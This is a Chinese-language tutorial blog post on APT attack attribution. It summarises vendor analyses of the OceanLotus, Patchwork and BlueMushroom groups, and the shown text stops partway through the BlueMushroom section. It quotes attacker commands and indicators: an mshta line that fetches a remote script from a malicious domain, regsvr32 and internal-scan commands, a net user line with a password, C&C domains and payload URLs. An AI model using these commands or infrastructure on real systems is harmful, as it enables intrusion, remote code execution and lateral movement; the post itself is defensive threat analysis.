您可能之前看到過我寫的類似文章,為什么還要重復撰寫呢?只是想更好地幫助初學者了解病毒逆向分析和系統安全,更加成體系且不破壞之前的系列,因此,我重新開設了這個專欄,準備系統整理和深入學習系統安全、逆向分析和惡意代碼檢測,“系統安全”系列文章會更加聚焦,更加系統,更加深入,也是作者的慢慢成長史,換專業確實挺難的,逆向分析也是塊硬骨頭,但我也試試,看看自己未來四年究竟能將它學到什么程度,漫漫長征路,偏向虎山行,享受程序,一起加油~
前文分享了Procmon軟體基本用法及檔案行程、注冊表查看,這是一款微軟推薦的系統監視工具,功能非常強大可用來檢測惡意軟體,這篇文章將分享APT攻擊檢測溯源與常見APT組織的攻擊案例,并介紹防御措施,希望文章對您有所幫助,基礎性文章,希望對您有所幫助~

作者作為網路安全的小白,分享一些自學基礎教程給大家,主要是在線筆記,希望您們喜歡,同時,更希望您能與我一起操作和進步,后續將深入學習網路安全和系統安全知識并分享相關實驗,總之,希望該系列文章對博友有所幫助,寫文不易,大神們不喜勿噴,謝謝!如果文章對您有幫助,將是我創作的最大動力,點贊、評論、私聊均可,一起加油喔!
文章目錄
- 一.什么是APT攻擊
- 二.常見APT組織的攻擊案例
- 1.海蓮花(APT32)
- 2.摩訶草(APT-C-09)
- 3.藍寶菇(APT-C-12)
- 4.SideWinder(T-APT-04)
- 三.APT攻擊溯源及案例
- 1.溯源常見方法
- 2.基于機器學習和深度學習的APT溯源
- 3.時區溯源案例(白象)
- 4.關聯分析案例(Darkhotel APT-C-06)
- 5.特征相似溯源(摩訶草)
- 6.0day漏洞溯源(Lazarus T-APT-15)
- 7.蜜罐溯源
- 四.安全防御建議
- 五.總結
作者的github資源:
- 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 網路安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
從2019年7月開始,我來到了一個陌生的專業——網路空間安全,初入安全領域,是非常痛苦和難受的,要學的東西太多、涉及面太廣,但好在自己通過分享100篇“網路安全自學”系列文章,艱難前行著,感恩這一年相識、相知、相趣的安全大佬和朋友們,如果寫得不好或不足之處,還請大家海涵!
接下來我將開啟新的安全系列,叫“系統安全”,也是免費的100篇文章,作者將更加深入的去研究惡意樣本分析、逆向分析、內網滲透、網路攻防實戰等,也將通過在線筆記和實踐操作的形式分享與博友們學習,希望能與您一起進步,加油~
- 推薦前文:網路安全自學篇系列-100篇
前文分析:
- [系統安全] 一.什么是逆向分析、逆向分析基礎及經典掃雷游戲逆向
- [系統安全] 二.如何學好逆向分析及呂布傳游戲逆向案例
- [系統安全] 三.IDA Pro反匯編工具初識及逆向工程解密實戰
- [系統安全] 四.OllyDbg動態分析工具基礎用法及Crakeme逆向
- [系統安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大戰僵尸游戲
- [系統安全] 六.逆向分析之條件陳述句和回圈陳述句原始碼還原及流程控制
- [系統安全] 七.逆向分析之PE病毒原理、C++實作檔案加解密及OllyDbg逆向
- [系統安全] 八.Windows漏洞利用之CVE-2019-0708復現及藍屏攻擊
- [系統安全] 九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及深度提權
- [系統安全] 十.Windows漏洞利用之SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)復現
- [系統安全] 十一.那些年的熊貓燒香及PE病毒行為機理分析
- [系統安全] 十二.熊貓燒香病毒IDA和OD逆向分析(上)病毒初始化
- [系統安全] 十三.熊貓燒香病毒IDA和OD逆向分析(中)病毒釋放機理
- [系統安全] 十四.熊貓燒香病毒IDA和OD逆向分析–病毒釋放程序(下)
- [系統安全] 十五.Chrome瀏覽器保留密碼功能滲透決議、藍屏漏洞及某音樂軟體漏洞復現
- [系統安全] 十六.PE檔案逆向基礎知識(PE決議、PE編輯工具和PE修改)
- [系統安全] 十七.Windows PE病毒概念、分類及感染方式詳解
- [系統安全] 十八.病毒攻防機理及WinRAR惡意劫持漏洞(腳本病毒、自啟動、定時關機、藍屏攻擊)
- [系統安全] 十九.宏病毒之入門基礎、防御措施、自發郵件及APT28宏樣本分析
- [系統安全] 二十.PE數字簽名之(上)什么是數字簽名及Signtool簽名工具詳解
- [系統安全] 二十一.PE數字簽名之(中)Signcode、PEView、010Editor、Asn1View工具用法
- [系統安全] 二十二.PE數字簽名之(下)微軟證書漏洞CVE-2020-0601復現及Windows驗證機制分析
- [系統安全] 二十三.逆向分析之OllyDbg動態除錯復習及TraceMe案例分析
- [系統安全] 二十四.逆向分析之OllyDbg除錯INT3斷點、反除錯、硬體斷點與記憶體斷點
- [系統安全] 二十五.WannaCry勒索病毒分析 (1)Python復現永恒之藍漏洞實作勒索加密
- [系統安全] 二十六.WannaCry勒索病毒分析 (2)MS17-010漏洞利用及病毒決議
- [系統安全] 二十七.WannaCry勒索病毒分析 (3)蠕蟲傳播機制決議及IDA和OD逆向
- [系統安全] 二十八.WannaCry勒索病毒分析 (4)全網"最"詳細的蠕蟲傳播機制解讀
- [系統安全] 二十九.深信服分享之外部威脅防護和勒索病毒對抗
- [系統安全] 三十.CS逆向分析 (1)你的游戲子彈用完了嗎?Cheat Engine工具入門普及
- [系統安全] 三十一.惡意代碼檢測(1)惡意代碼攻擊溯源及惡意樣本分析
- [系統安全] 三十二.惡意代碼檢測(2)常用技術詳解及總結
- [系統安全] 三十三.惡意代碼檢測(3)基于機器學習的惡意代碼檢測技術
- [系統安全] 三十四.惡意代碼檢測(4)撰寫代碼自動提取IAT表、字串及時間戳溯源地區
- [系統安全] 三十五.Procmon工具基本用法及檔案行程、注冊表查看
- [系統安全] 三十六.APT系列(1)APT攻擊溯源防御與常見APT組織的攻擊案例
宣告:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網路需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護,
一.什么是APT攻擊
APT攻擊(Advanced Persistent Threat,高級持續性威脅)是利用先進的攻擊手段對特定目標進行長期持續性網路攻擊的攻擊形式,APT攻擊也稱為定向威脅攻擊,指某組織對特定物件展開的持續有效的攻擊活動,這種攻擊活動具有極強的隱蔽性和針對性,通常會運用受感染的各種介質、供應鏈和社會工程學等多種手段實施先進的、持久的且有效的威脅和攻擊,
360威脅情報中心結合2018年全年國內外各個安全研究機構、安全廠商披露的重大APT攻擊事件,以及近幾年來披露的高級持續性威脅活動資訊,并基于這些重大APT攻擊事件的危害程度、攻擊頻度、攻擊技術等,評選出2018年全球十大APT攻擊事件,參考:https://www.secrss.com/articles/7530
- 韓國平昌冬奧會APT攻擊事件(攻擊組織Hades)
- VPNFilter:針對烏克蘭IOT設備的惡意代碼攻擊事件(疑似APT28)
- APT28針對歐洲、北美地區的一系列定向攻擊事件
- 藍寶菇APT組織針對中國的一系列定向攻擊事件
- 海蓮花APT組織針對我國和東南亞地區的定向攻擊事件
- 蔓靈花APT組織針對中國、巴基斯坦的一系列定向攻擊事件
- APT38針對全球范圍金融機構的攻擊事件
- 疑似DarkHotel APT組織利用多個IE 0day“雙殺”漏洞的定向攻擊事件
- 疑似APT33使用Shamoon V3針對中東地區能源企業的定向攻擊事件
- Slingshot:一個復雜的網路攻擊活動

網路攻擊追蹤溯源旨在利用各種手段追蹤網路攻擊的發起者,相關技術提供了定位攻擊源和攻擊路徑,針對性反制或抑制網路攻擊,以及網路取證能力,其在網路安全領域具有非常重要的價值,當前,網路空間安全形勢日益復雜,入侵者的攻擊手段不斷提升,其躲避追蹤溯源的手段也日益先進,如匿名網路、網路跳板、暗網、網路隱蔽信道、隱寫術等方法在網路攻擊事件中大量使用,這些都給網路攻擊行為的追蹤溯源作業帶來了巨大的技術挑戰,
傳統的惡意代碼攻擊溯源方法是通過單個組織的技術力量,獲取區域的攻擊相關資訊,無法構建完整的攻擊鏈條,一旦攻擊鏈中斷,往往會使得前期大量的溯源作業變得毫無價值,同時,面對可持續、高威脅、高復雜的大規模網路攻擊,沒有深入分析攻擊組織之間的關系,缺乏利用深層次惡意代碼的語意知識,后續學術界也提出了一些解決措施,
為了進一步震懾黑客組織與網路犯罪活動,目前學術界和產業界均展開了惡意代碼溯源分析與研究作業,其基本思路是:
- 同源分析: 利用惡意樣本間的同源關系發現溯源痕跡,并根據它們出現的前后關系判定變體來源,惡意代碼同源性分析,其目的是判斷不同的惡意代碼是否源自同一套惡意代碼或是否由同一個作者、團隊撰寫,其是否具有內在關聯性、相似性,從溯源目標上來看,可分為惡意代碼家族溯源及作者溯源,
- 家族溯源: 家族變體是已有惡意代碼在不斷的對抗或功能進化中生成的新型惡意代碼,針對變體的家族溯源是通過提取其特征資料及代碼片段,分析它們與已知樣本的同源關系,進而推測可疑惡意樣本的家族,例如,Kinable等人提取惡意代碼的系統呼叫圖,采用圖匹配的方式比較惡意代碼的相似性,識別出同源樣本,進行家族分類,
- 作者溯源: 惡意代碼作者溯源即通過分析和提取惡意代碼的相關特征,定位出惡意代碼作者特征,揭示出樣本間的同源關系,進而溯源到已知的作者或組織,例如,Gostev等通過分析Stuxnet與Duqu所用的驅動檔案在編譯平臺、時間、代碼等方面的同源關系,實作了對它們作者的溯源,2015年,針對中國的某APT攻擊采用了至少4種不同的程式形態、不同編碼風格和不同攻擊原理的木馬程式,潛伏3年之久,最終360天眼利用多維度的“大資料”分析技術進行同源性分析,進而溯源到“海蓮花”黑客組織,

這里推薦作者的前一篇基礎文章 “[系統安全] 三十一.惡意代碼檢測(1)惡意代碼攻擊溯源及惡意樣本分析”,這篇文章將從案例的角度進行更深入的講解,也感謝所有參考的安全大廠和大佬,正是因為有他們,我們國家的網路安全才有保障!
二.常見APT組織的攻擊案例
1.海蓮花(APT32)
海蓮花(OceanLotus)是一個據稱越南背景的APT組織,又稱APT32、OceanLotus,該組織最早于2015年5月被天眼實驗室所揭露并命名,其攻擊活動最早可追溯到2012年4月,攻擊目標包括中國海事機構、海域建設部門、科研院所和航運企業,后擴展到幾乎所有重要的組織機構,并持續活躍至今,實際上,根據各安全廠商機構對該組織活動的拼圖式揭露,海蓮花團伙除針對中國發起攻擊之外,其攻擊所涉及的國家分布非常廣泛,包括越南周邊國家,如柬埔寨、泰國、老撾等,甚至包括越南的異見人士、媒體、地產公司、外資企業和銀行,

-
海蓮花組織常用攻擊方法
- 構造誘餌檔案欺騙用戶點擊
- 利用釣魚郵件進行攻擊,釣魚關鍵字包括培訓、績效、監察等
- 采用惡意檔案投遞的魚叉攻擊
- CHM誘餌、白加黑誘餌、惡意Ink
- 利用CVE漏洞(如CVE-2018-20250系結壓縮包)
- 帶有VBA宏病毒的Office檔案
- 專用木馬(Denis家族、CobalStrike、Gh0st)
- hta樣本解密并加載后續的附加資料
- C&C域名通信
-
攻擊手段
- 魚叉郵件投遞內嵌惡意宏的Word檔案、HTA檔案、快捷方式檔案、SFX自解壓檔案、捆綁后的檔案圖示的可執行檔案等
- 入侵成功后通過一些內網滲透工具掃描滲透內網并橫向移動,入侵重要服務器,植入Denis家族木馬進行持久化控制
- 通過橫向移動和滲透拿到域控或者重要的服務器權限,通過對這些重要機器的控制來設定水坑、利用第三方工具并輔助滲透
- 橫向移動程序中還會使用一些逃避殺軟檢測的技術:包括白利用技術、PowerShell混淆技術等

下面簡單講解奇安信安全中心和騰訊電腦管家的分析案例,
- 文章來源
團隊:奇安信安全中心
作者:紅雨滴、天眼
原文地址:海蓮花團伙對中南半島國家攻擊活動的總結:目標、手法及技術演進
團隊:騰訊電腦管家
作者:御見
原文地址:海蓮花(OceanLotus)2019年針對中國攻擊活動匯總
原文地址:海蓮花APT組織2019年第一季度針對中國的攻擊活動技術揭秘
奇安信安全中心和騰訊電腦管家都是國內最著名的安全團隊之一,近年來也多次曝光了海蓮花組織的攻擊活動,其研究發現,該組織自發現以來,一直針對我國的ZF部門、國企等目標進行攻擊活動,為近年來對我國大陸進行網路攻擊活動最頻繁的APT組織,從攻擊的手法上看,該組織主要采用電子郵件投遞誘餌的方式,包括攻擊誘餌檔案、Payload加載、繞過安全檢測等技術,一旦獲得一臺機器的控制權后,立即對整個內網進行掃描和平移滲透攻擊等,
同時,該組織針對不同的機器下發不同的惡意模塊,使得即便惡意檔案被安全廠商捕捉到,也因為無相關機器特征而無法解密最終的Payload,無法知曉后續的相關活動,活動鉆石模型如下:

(1) 誘餌檔案初始攻擊
惡意檔案投遞的方式依然是最常用的魚叉攻擊的方式,釣魚關鍵字包括干部培訓、績效、作業方向等,相關的郵件如下,此外,投遞釣魚郵件的賬號有網易郵箱,包括126郵箱和163郵箱,賬號樣式為:名字拼音+數字@163(126).com,如:Sun**@126.com、reny**@163.com等,

2019年投遞的惡意誘餌型別眾多,包括白加黑、lnk、doc檔案、帶有WinRARACE(CVE-2018-20250)漏洞的壓縮包等,之后的攻擊中還新增了偽裝為word圖示的可執行檔案、chm檔案等,
- 白加黑誘餌: 病毒偽裝成一個DLL檔案,偽裝為Word圖示的可執行檔案啟動的同時,病毒DLL也會被加載啟動(也叫DLL劫持),使用DLL側加載(DLL Side-Loading)技術來執行載荷,通俗的講就是我們常說的白加黑執行,

- 帶有宏的惡意office檔案

- 惡意lnk

- 帶有WinRAR ACE(CVE-2018-20250)漏洞的壓縮包,作者之前分享過該CVE漏洞,當我們解壓檔案時,它會自動加載惡意程式至C盤自啟動目錄并運行,


(2) 惡意檔案植入
惡意檔案植入包括惡意lnk、使用rundll32加載惡意dll、帶有宏的doc檔案、白加黑、帶有WinRAR ACE(CVE-2018-20250)漏洞的壓縮包等,
①惡意lnk分析
該組織會在所有投遞的壓縮包里存放一個惡意的lnk,但是所有的lnk檔案都類似(執行的地址不同,但內容一致),lnk檔案的圖示偽裝成word圖示,值得注意的是,該lnk的圖示會從網路獲取,因此如果遠程服務器已經關閉,會導致該lnk無圖示的現象,此外,還會造成即便不雙擊lnk,只要打開lnk所在的目錄,就會出現網路連接的現象,
該現象的原因是:Explorer決議lnk的時候會去決議圖示,而這個lnk配置的圖示在網路上,因此會自動去下載,但只是下載而不會執行,看一眼不運行lnk檔案的話,會泄漏自身IP地址,但不會導致電腦中木馬,

雙擊運行lnk后,會執行下列命令:
C:\Windows\SysWOW64\mshta.exe http://api.baidu-json.com/feed/news.html
其中, news.html實際為一個vbs腳本檔案,mstha執行此腳本后會解密腳本中存盤的內容,并存盤到%temp%目錄下,包括tmp、exe、log、env檔案,

接著呼叫系統自帶的odbcconf.exe,將7b95ffab-3a9c-494a-a584-9c48dc7aa6a7.tmp(dll檔案)給加載起來,最后呼叫taskkill.exe,結束mshta.exe行程,

②帶有宏的doc檔案
帶有宏的檔案的投遞是該組織比較常用的惡意誘餌,如推特上安全同仁曝光該組織的誘餌,

執行宏后,首先會復制原始檔案到%temp%下,命名為隨機名檔案,然后解密出一個新的VBA宏,

接著將HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Security\AccessVBOM的注冊表值設定為1,

打開之前復制的doc檔案,并將原始VBA宏擦除,把解密后的新VBA宏添加進去,接著啟動VBA宏函式x_N0th1ngH3r3,x_N0th1ngH3r3函式同樣解密出一段新VBA宏,同樣呼叫新VBA宏的x_N0th1ngH3r3函式,

解密出來的新VBA宏目的是將shellcode解密并加載執行,

Shellcode解密出一個DLL檔案,并在記憶體中加載,執行DllEntry函式,DllEntry函式先會提取資源檔案,并解密出來,


解密出來的內容包括最終rat和相關配置資訊,

隨后會將解密的rat在記憶體中展開,并且查找CreateInstance函式地址,然后將配置資訊傳入呼叫該函式,

配置的4個C&C使用https進行通信連接,其他的技術細節同文章同之前御見發布的海蓮花的分析文章,
- cloud.360cn.info
- dns.chinanews.network
- aliexpresscn.net
- chinaport.org
③白加黑
白加黑同樣是該組織常用的誘餌型別,并且在實際攻擊程序中,還多次使用,使用dll側加載(DLL Side-Loading)技術來執行載荷,通俗的講就是我們常說的白加黑執行,其基本流程如下圖所示:

其中所使用的宿主檔案對包括:

如攻擊首先使用了word的主程式為白檔案,加載惡意檔案wwlib.dll,


釋放誘餌檔案到臨時目錄并打開,

然后再次使用白加黑的技術,使用360se的主程式做為白檔案,加載惡意的chrome_elf.dll,

chrome_elf.dll功能除了實作呼叫原始默認程式打開txt、doc檔案外,還會連接網路下載下一階段的惡意檔案并在記憶體中直接執行,
注意:在進行惡意樣本分析時,我們不要去訪問這些惡意網站,撰寫報告也建議增加隔離字符防止被訪問,下載地址為:[https:]//officewps.net/cosja.png,其他的惡意樣本下載地址如:[https:]//dominikmagoffin.com/subi.png,[https:]//ristineho.com/direct.jpg等,

下載的木馬是一個直接可當作代碼執行的shellcode,下載后直接在記憶體中執行,

shellcode的功能是解壓解密出一個功能自加載的PE檔案,


該PE檔案是CobaltStrike木馬,和之前海蓮花組織使用的該木馬完全一樣,

④帶有WinRAR ACE(CVE-2018-20250)漏洞的壓縮包
該壓縮包解壓后,會解壓出有模糊圖片處理的doc檔案,除了解壓出壓縮的檔案后,還會在啟動目錄釋放一個自解壓檔案:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup

解壓后會有一個{7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx檔案,然后執行命令regsvr32 /s /i {7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx執行,

該ocx的技術細節同前面宏檔案的記憶體dll的部分分析,此處就不再贅述,
⑤通過com技術執行
通過com技術,把某惡意dll注冊為系統組建來執行:

⑥Chm內嵌腳本
Chm執行后,會提示執行ActiveX代碼,

其腳本內容為:

(3) 下發檔案分析及定制化后門
在攻擊者攻陷機器后,攻擊者還會持續對受控機進行攻擊:會通過腳本釋放新的與該機器系結木馬,此木馬主要通過兩種加載器(定制后門)實作只能在該機器上運行,加載器也是使用白加黑技術,如使用googleupdate.exe+goopdate.dll,此外的名字還包括如:
- KuGouUpdate.exe+goopdate.dll
- AdobeUpdate.exe+goopdate.dll
- Bounjour.exe+goopdate.dll
①加載器1分析
原理示意圖如下:

木馬執行后分配記憶體空間,拷貝shellcode到新申請的空間中執行,shellcode的功能則是利用配置密碼+本地計算機名的hash作為密鑰解密最終的playload,

接著對playload進行校驗,成功后創建新執行緒執行playload,


②加載器2分析
原理圖如下:

加載器2是在加載器1的基礎上增加了一層隨機密鑰的加密,更好地對抗安全軟體的檢測掃描,且通過掛鉤API函式然亂木馬執行流程來干擾自動化沙箱的分析,
首先在dll入口點處hook LdrLoadDll函式,當呼叫該API時接管執行流程執行解密代碼,通過內置的隨機密碼解密shellcode,shellcode的功能則是利用配置密碼+本地計算機名的hash作為密鑰解密最終的playload,并對playload進行校驗,成功后創建新執行緒執行playload,


Shellcode行為同loader1解密出的shellcode一致,

最終的playload有三種,都是海蓮花常用的木馬,分別為CobaltStrike、Gh0st、Denis,
- RAT1:CobaltStrike
- RAT2:Gh0st改版
該木馬疑似使用開源木馬gh0st改版,支持tcp和upd,資料包使用zlib壓縮, - RAT3:Denis

(4) 提權和橫向移動
此外,還發現海蓮花還會不斷的對被攻擊的內網進行橫向移動,以此來滲透到更多的機器,利用nbt.exe掃描內網網段,其可能通過收集憑據資訊或暴力破解內網網路共享的用戶和密碼,如:
C:\\WINDOWS\\system32\\cmd.exe/C nbt.exe 192.168.1.105/24
通過net user等相關命令查看或訪問內網主機,如:
net user\\192.168.1.83\C#3 /U:192.168.1.183\Administrator 123456
NTLM hash
此外,在上段所述的加密的前綴中,我們還發現了一個ip:210.72.156.203做為加密前綴,我們從騰訊安圖查詢可見,

可以發現,能關聯到nbtscan-1.0.35.exe和mmc.exe,同樣跟內網滲透相關,滲透到內網機器后,攻擊者還發下發bat和js腳本,來執行后續的操作,腳本名字如encode.js、360se.txt、360PluginUpdater.js、360DeepScanner.js、360Tray.js等,
如360PluginUpdater.bat+360PluginUpdater.js,360PluginUpdater.bat的功能是輸出加密腳本到360PluginUpdater.dat,完成后將其重命名為360PluginUpdater.js,并執行,

360PluginUpdater.js是個加密的腳本,

通過一系列解密后最終通過eval執行解密后的腳本,

經過base64解密及范序列化后得到兩個物件loader和playload,并在記憶體中呼叫loader的LoadShell方法,
loader的pdb為:E:\priv\framework\code\tools\exe2js\loader\obj\Release\loader.pdb,其功能是申請記憶體,解密加載執行playload:

payload PE頭自帶加載代碼如下:

最終呼叫ReflectiveLoader實作記憶體加載dll,

最終為CobaltStrike攻擊平臺遠控,

總結:海蓮花組織是近年來針對我國的有關部門進行攻擊的最活躍的APT組織之一,它總是在不斷的進化,更新他的攻擊手法和工具庫,以達到繞過安全軟體防御的目的,如不斷的變換加載方式、混淆方法、多種多樣的誘餌形式等,還使用新的Nday進行攻擊,如該波攻擊中的WinRAR ACE漏洞(CVE-2018-20250),除了武器庫的不斷更新,該組織也相當熟悉中國的情況,包括政策、習慣等等,這也使得迷惑相關人員,是的攻擊成功增加了成功率,除此,該組織的攻擊范圍也在不斷的擴大,除了有關部門、海事機構、能源單位等外,研究機構所遭受的攻擊也在不斷的增多,而對個人的攻擊,如教授、律師的釣魚攻擊也在不斷的進行,因此我們提醒有關部門及有關機構的作業人員,切實提高國家安全意識,不要被網路釣魚資訊所蒙蔽,以免給國家安全造成重大損失,
2.摩訶草(APT-C-09)
APT-C-09是南亞印度背景的APT組織,又名摩訶草、白象、PatchWork、 hangOver、The Dropping Elephat、VICEROY TIGER,摩訶草組織主要針對中國、巴基斯坦等亞洲地區國家進行網路攻擊活動,其中以竊取重要資訊為主,相關攻擊活動最早可以追溯到2009年11月,至今還非常活躍,在針對中國地區的攻擊中,該組織主要針對ZF機構、科研教育領域進行攻擊,其中以科研教育領域為主,摩訶草組織最早由Norman安全公司于2013年曝光,隨后又有其他安全廠商持續追蹤并披露該組織的最新活動,但該組織并未由于相關攻擊行動曝光而停止對相關目標的攻擊,相反從2015年開始更加活躍,

-
摩訶草組織常用攻擊方法
- 主要以魚叉郵件進行惡意代碼的傳播
- 采用水坑方式進行攻擊
- 基于即時通訊工具和社交網路的惡意代碼投遞
- 使用釣魚網站進行社會工程學攻擊
- 投遞帶有惡意宏檔案的xls檔案
- 釣魚網站用以捕獲資訊
- 使用帶有誘餌檔案通過點擊下載托管于GitHub上的downloader樣本
- Windows、Mac、Android系統均有針對性攻擊
-
分析原因
- 遠程控制木馬包含CNC欄位
- 此次活動該組織的特征與之高度類似
- 攻擊手法類似
下面簡單講解Gcow安全團隊的分析案例,
- 文章來源
團隊:Gcow安全團隊
作者:追影小組
原文地址:烈火燒不盡的“惡性毒草”——摩訶草APT組織的攻擊活動
Gcow是當前國內為數不多的民間網路資訊安全研究團隊之一,其討論氛圍濃厚,研究范圍廣泛,令不少安全愛好者神往!Gcow安全團隊追影小組于2019年11月底監測到了該組織一些針對我國醫療部門的活動,直至2020年2月初,摩訶草APT組織通過投遞帶有惡意宏檔案的xls檔案,以及使用帶有誘餌檔案通過點擊下載托管于GitHub上的downloader樣本,并應用于相應的釣魚網站以獲取QB等一系列活動,這對我國相關部門具有很大的危害,追影小組對其活動進行了跟蹤與分析,寫成報告供給各位看官更好的了解該組織的一些手法,

(1) 樣本分析——誘餌檔案“武漢旅行資訊收集申請表.xlsm”
該誘餌檔案托管于網址http://xxx.com/…B7%E8%A1%A8.xlsm,如下圖所示,偽裝成有關部門的檔案,

這是一個含有宏的xlsm電子表格檔案,利用社會工程學誘使目標“啟用內容”來執行宏惡意代碼,提取的宏代碼如下:

當目標啟用內容后就會執行Workbook_Open的惡意宏代碼,
DllInstall False, ByVal StrPtr(Sheet1.Range("X100").Value)
通過加載scrobj.dll,遠程呼叫http://45.xxx.xxx.67/window.sct,這是利用Microsoft系統檔案的LOLbin以繞過殺軟的監測,達到遠程執行代碼,其中Sheet1.Range(“X100”).Value是小技巧,將Payload隱藏在Sheet1中,通過VBA獲取下載地址,起到一定混淆保護的效果,

接著分析惡意sct檔案(windows.sct),
通過windows.sct下載到啟動目錄,并重名為Temp.exe,運行該程式如下圖所示,

系統啟動檔案夾如下圖:

最后是后門分析(msupdate.exe),檔案資訊如下,


其主要功能包括:
- 自身拷貝到當前用戶的AppData\Roaming和C:\Microsoft目錄下,重命名msupdate.exe并創建寫入uuid.txt,來標識不同用戶,
- 通過com組件創建計劃任務,實作持久化控制,
- 與服務器進行C&C通訊,實作了shell檔案上傳與下載(ftp),獲取螢屏快照功能,達到完全控制目標,
獲取uuid通知主機上線:

通過http協議與服務器進行通訊,并獲取相關指令,反向Cmd Shell相關代碼如下:

檔案上傳相關代碼:

檔案下載相關代碼:

螢屏快照相關代碼:

(2) 樣本分析——誘餌檔案“衛生部指令.docx”
該檔案托管于http://xxx.com/h_879834932/…87%E4%BB%A4.docx網址,誘使目標點擊提交按鈕,觸發Shell.Explorer.1從Internet Explorer下載并運行submit_details.exe木馬程式,


其功能主要包括:
- 建立計劃任務
- 收集目標機器名、IP等資訊
- 下載后門程式,通過Github白名單下載檔案,繞過IDS檢測
- 獲取Github上的檔案下載路徑,目前檔案已被洗掉


總結:在這次活動中摩訶草組織為了增加其攻擊活動的成功性,在誘餌檔案中使用了某部門的名稱和某部門的徽標以增加其可信性,同時在其托管載荷的網站上參考了nhc這個字串,Gcow安全團隊追影小組在此大膽推測,該組織使用魚叉郵件的方式去投遞含有惡意檔案url的郵件,同時在這次活動中所出現的url上也存在“nhc”、“gxv”、“cxp”等字眼,這很大的反應出攻擊者對中國元素的了解,社會工程學的使用靈活以及擁有一定的反偵查能力,這無疑是對我國網路安全的一次挑戰,還請相關人士多多排查,培養員工安全意識也是重中之重的,
3.藍寶菇(APT-C-12)
360公司在2018年7月5日首次對外公開了一個從2011年開始持續近8年針對我國行政機構、科研、金融、教育等重點單位和部門進行攻擊的高級攻擊組織藍寶菇(APT-C-12),英文名BlueMushroom,該組織的活動在近年呈現非常活躍的狀態,比如,通過向163郵箱發送魚叉郵件,釣魚郵件仿冒博鰲亞洲論壇向攻擊物件發邀請函,攻擊者通過誘導攻擊物件打開魚叉郵件云附件中的LNK檔案,一旦攻擊物件被誘導打開LNK快捷方式檔案,會執行檔案中附帶的PowerShell惡意腳本來收集上傳用戶電腦中的重要檔案,并安裝持久化后門程式長期監控用,

-
藍寶菇組織常用攻擊方法
- 主要以魚叉郵件攻擊為主
- 執行惡意PowerShell腳本收集資訊
- 云附件LNK檔案
- 安裝持久化后門程式長期監控用戶計算機
- 使用AWS S3協議和云服務器通信來獲取用戶的重要資料
- 投遞帶有惡意宏檔案的xls檔案
- 壓縮包解壓后包含名為beoql.g的DLL后門
- 橫向移動惡意代碼,C&C訪問
-
攻擊手段
- 魚叉郵件投遞內嵌PowerShell腳本的LNK檔案,并利用郵件服務器的云附件方式進行投遞
- 當受害者被誘導點擊惡意LNK檔案后,會執行LNK檔案所指向的PowerShell命令,進而提取出LNK檔案中的其他誘導檔案、持久化后門和PowerShell后門腳本
- 從網路上接受新的PowerShell后門代碼執行,從而躲避了一些殺軟的查殺
下面簡單講解360安全團隊的分析案例,
- 文章來源
團隊:360安全、奇安信
作者:追日團隊、360安全監測與回應中心、360威脅情報中心
原文地址:藍寶菇(APT-C-12)針對性攻擊技術細節揭秘
原文地址:藍寶菇(APT-C-12)最新攻擊樣本及C&C機制分析
(1) 魚叉郵件及誘餌檔案
360威脅情報中心確認多個政企機構的外部通信郵箱被投遞了一份發自boaostaff[@]163.com的魚叉郵件,釣魚郵件仿冒博鰲亞洲論壇向攻擊物件發送了一封邀請函,如下圖所示,

郵件附件被放到163的云附件里,此附件即為攻擊者的惡意Payload,這是一個通過RAR打包的快捷方式樣本,接下來我們對同一波攻擊中的另一個完全相同功能的樣本進行詳細分析,以梳理整個攻擊程序,附件內容如下:

一旦攻擊物件被誘導打開該LNK快捷方式檔案,LNK檔案便會通過執行檔案中附帶的PowerShell惡意腳本來收集上傳用戶電腦中的重要檔案,并安裝持久化后門程式長期監控用戶計算機,
(2) Dropper分析
附件壓縮包內包含一個LNK檔案,名字為《政法網路輿情》會員申請.lnk,查看LNK檔案對應的目標如下:

可以看到目標中并沒有任何可見字符,使用二進制分析工具查看LNK檔案可以看到PowerShell相關的字串,以及很多Unicode不可見字符,

通過分析LNK檔案格式中幾個比較重要的結構,完整還原出樣本真實執行的惡意目標,其中涉及3個LNK檔案格式的重要結構:LinkTargetIDList、COMMAND_LINE_ARGUMENTS和Environment Varable Data Block,
- LinkTargetIDList: 該結構是一個陣列,用于標記具體的快捷方式的鏈接目標,而樣本中多個LIST里的元素拼接起來才是快捷方式的具體鏈接目標,通過除錯可以看到目標路徑和LinkTargetIDList拼接出來的結果一致,
CLSID_MyComputer\C:\Windows\system32\windOW~1\V1.0\POwersHELl.exe

- COMMAND_LINE_ARGUMENTS: 該選項為目標程式的引數,樣本中的目標程式引數則為具體需要執行的PowerShell惡意代碼,另外由于在引數中包含了大量的不可顯示Unicode字符,從而導致右鍵打開快捷方式時目標中并不會包含對應的PowerShell代碼,

- EnvironmentVarableDataBlock: 當鏈接目標程式涉及到環境變數時會使用,該值設定后會導致具體的快捷方式中的目標被設定為對應的 Environment Varable Data Block值,但是需要注意的是,樣本中Environment Varable Data Block對實際的程式呼叫并不起作用(洗掉并不影響最終的樣本啟動),最終Shell32.dll靠決議LInkTargetIDList陣列來啟動PowerShell,

(3) Payload和PowerShell腳本分析
將LNK檔案指向執行的PowerShell腳本解密,該PowerShell命名為ps_origin,代碼如下,PowerShell腳本會定位執行LNK檔案的最后一行,

檔案最后一行經過Base64編碼,解碼后的資料為[壓縮包+PowerShell腳本]的形式,

將最后的PowerShell腳本解密后如下,名稱為ps_start,
